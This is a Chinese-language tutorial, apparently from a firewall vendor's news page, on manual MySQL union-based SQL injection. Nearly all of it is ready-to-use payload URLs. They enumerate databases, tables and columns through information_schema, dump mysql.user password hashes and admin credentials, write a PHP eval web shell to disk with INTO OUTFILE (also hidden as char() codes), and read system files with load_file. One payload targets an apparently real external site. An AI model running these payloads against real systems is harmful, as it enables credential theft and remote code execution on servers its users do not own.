English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 威盾新闻 >> 手动mysql 高级注入实例分析

 

手动mysql 高级注入实例分析

威盾防火墙 2014-12-20

 
利用Information_schema系统库来注入,配合使用group_concat()函数,group_concat()功能强大,而且能够绕过limit限制 

http://127.0.0.1/sql.php?id=1 union select 0,0,0 字段为 3 
http://127.0.0.1/sql.php?id=1 and 1=2 union select count(*),1,1 from mysql.user 统计数据库中又多少个用户 


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata 测试过程中只有 root权限或者 全局权限才能爆出所有数据库 普通用户不能爆出所有用户 
这样就把mysql服务器所有数据库名字显示出来了 

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x74657374 
这样就能把 test 数据库中的 所有表显示出来了。 其中 0x74657374 为 test 的 hex 值 


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646D696E 
这样就把admin表中所有的字段名 显示出来了。 

这样注入手法很灵活的。突破了 limit 限制了。 
来看下 穿山甲的注入语句 



以下部分只有root 权限或者 全局权限才能操作 
====================================================================================================================================== 
select user from mysql.user 



http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),user,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1)t order by user desc)t limit 1-- 查看数据库中有那些用户 


http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1) t order by user desc)t limit 1-- 查看对应用户的 密码 


通过不断修改limit 2,1达到查看所有 http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 2,1) t order by user desc)t limit 1-- 
=========================================================================================================================================================== 



http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 0,10 
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 1,10 
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 2,10 
通过 limit 一条条记录取出来 

或者直接用group_concat()函数 一次显示出来 
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from admin 


into outfile 的应用 注意路径是 这样的c:/2ww.php 
http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)),1,1 into outfile 'c:/cm14dd.php' 
<?php eval($_POST[cmd])?> 的 asc码 char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62) 

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,'<?php eval($_POST[cmd])?>',3 into outfile 'c:/tt33.txt' 



load_file 的应用 

http://127.0.0.1//sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),load_file(0x633a5c626f6f742e696e69),char(94),char(94),char(94)),1,1 -- 
0x633a5c626f6f742e696e69 是 c:\boot.ini 的 hex编码 
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,load_file('c:/boot.ini') 



http://www.else1.com/concrete.php?id=5%20and%201=2%20union%20select%201,2,3,4,group_concat(schema_name)%20from%20information_schema.schemata

相关内容: 最新内容:
SQL注入测试实例分析[2014-12-20]
防止SQL注入攻击的一些方法小结[2014-12-20]
黑客攻防之SQL注入原理解析入门教程[2014-12-18]
IIS与SQL服务器安全加固[2014-12-17]
SQL不完全思路与防注入程序[2014-12-16]
如何防范SQL注入[2014-12-16]
SQL注入测试实例分析[2014-12-20]
防止SQL注入攻击的一些方法小结[2014-12-20]
学网:[指导]怎样设置Win2000服务器[2014-12-19]
IIS6:IIS6开启SHTML功能(SSI)的方法[2014-12-19]
学网:首次托管服务器经验完全手册[2014-12-19]
CPU100%:彻底解决掉CPU占用100%之谜[2014-12-19]